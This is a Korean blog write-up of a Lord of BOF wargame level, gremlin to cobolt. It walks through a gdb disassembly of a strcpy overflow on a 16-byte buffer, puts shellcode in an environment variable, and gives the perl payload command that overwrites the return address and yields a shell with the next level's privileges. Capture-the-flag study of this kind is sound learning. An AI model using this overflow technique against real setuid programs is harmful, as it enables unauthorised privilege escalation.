- Today
- Total
Phantom
[Gremlin] gremlin -> cobolt 풀이 본문
문제소스보기 |
이번 문제는 쉘코드가 너무 커서 버퍼에 쉘코드를 저장할수 없게 됬다 버퍼는 16으로 전단계보다 줄었으며 이번에도 역시 argv[1]로 인자를 받아 strcpy로 문자열 길이를 검사하지 않고 그대로 buffer에 쓴다. |
||
gdb로 cobolt를 분석해보자 |
||
[gremlin@localhost gremlin]$ gdb -q cob0lt (gdb) disas main Dump of assembler code for function main: 0x8048430 <main>: push %ebp 0x8048431 <main+1>: mov %esp,%ebp 0x8048433 <main+3>: sub $0x10,%esp // 함수 프롤로그 과정 스택에 0x10(16)의 크기 를확보하면서 이번에도 역시 더미가 없는것을 알 수 있다. -------------------중 략 -------------------------- 0x8048453 <main+35>: mov %eax,DWORD PTR [%ebp+12] //argv[1]의 주소값을 eax에 복사 0x8048456 <main+38>: add %eax,4 0x8048459 <main+41>: mov %edx,DWORD PTR [%eax] //두번째 인자를 edx에 복사 0x804845b <main+43>: push %edx //스택에 edx 푸시 0x804845c <main+44>: lea %eax,[%ebp-16] //buffer의 주소값(첫번째 인자)을 eax에 복사 0x804845f <main+47>: push %eax //스택에 eax 푸시 -------------------중 략 -------------------------- 0x8048479 <main+73>: leave //함수 에필로그 0x804847a <main+74>: ret |
||
쉘 획득 과정 페이로드 |
||
이번에는 argv에 쉘코드를 넣을수 없다. 어떻게 해야하는가 처음 프로그램이 메모리에 적재 될때 환경변수가 가장 먼저 올라가고 argv, argc, RET, SFP순으로 적재 된다. 따라서 우리는 환경변수에 쉘을 적재시키고 적재된 주소값을 RET에 넣어 쉘을 실행시킬것이다. "A"x20 + RET = 24로 버퍼를 오버플로우 할것이다. |
||
환경변수에 쉘을 집어넣는 eggshell코드 phantomEGG.c |
||
|
||
쉘코드 주소 구하기 |
||
phantomEGG.c를 컴파일 하여 실행하면 환경변수가 올라간 쉘코드 주소를 출력한다. [gremlin@localhost gremlin]$ ./phantomEGG Using address : 0xbffff2b8 |
||
명령문 작성하기 |
이제 명령문을 작성해보자 |
[gremlin@localhost gremlin]$ ./phantomEGG Using address : 0xbffffab8 [gremlin@localhost gremlin]$ ./cobolt $(perl -e 'print "A"x20, "\xb8\xfa\xff\xbf"') AAAAAAAAAAAAAAAAAAAA뫄 bash$ id uid=501(gremlin) gid=501(gremlin) euid=502(cobolt) egid=502(cobolt) groups=501(gremlin) |
이로써 cobolt의 권한을 얻었다. |
'Pwnable > [Wargame]Load of Bof' 카테고리의 다른 글
[wolfman] wolfman -> darkelf 풀이 (0) | 2014.07.27 |
---|---|
[Orc] orc -> wolfman 풀이 (0) | 2014.07.23 |
[Goblin] goblin -> orc 풀이 (0) | 2014.07.17 |
[Goblin] cobolt -> goblin 풀이 (0) | 2014.07.15 |
[Gate] gate -> gremlin 풀이 (0) | 2014.05.27 |